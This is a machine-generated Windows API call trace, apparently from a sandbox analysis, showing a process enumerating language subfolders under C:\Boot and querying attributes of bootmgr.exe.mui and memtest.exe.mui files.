	[0078.464] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.464] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.464] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.464] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.464] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.464] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.464] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0078.465] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.465] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0078.465] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.465] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc" (normalized: "c:\\boot\\qps-ploc"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.465] CreateFileW (lpFileName="C:\\Boot\\qps-ploc" (normalized: "c:\\boot\\qps-ploc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.465] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.465] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.465] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.465] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.465] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.466] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.466] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.466] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160)) returned 1
	[0078.502] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.502] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398)) returned 1
	[0078.503] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.503] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ro-RO" (normalized: "c:\\boot\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.503] CreateFileW (lpFileName="C:\\Boot\\ro-RO" (normalized: "c:\\boot\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.503] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.503] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.503] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.504] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.504] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.504] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.504] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1
	[0078.504] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.504] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.551] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.551] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.551] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.551] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.551] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.551] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.551] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.551] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.551] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0078.552] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.552] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1
	[0078.552] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.552] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sk-SK" (normalized: "c:\\boot\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.552] CreateFileW (lpFileName="C:\\Boot\\sk-SK" (normalized: "c:\\boot\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.552] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.553] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.553] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.553] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.553] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.553] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.553] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1
	[0078.590] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.590] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sl-SI" (normalized: "c:\\boot\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.590] CreateFileW (lpFileName="C:\\Boot\\sl-SI" (normalized: "c:\\boot\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.591] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.591] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.591] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
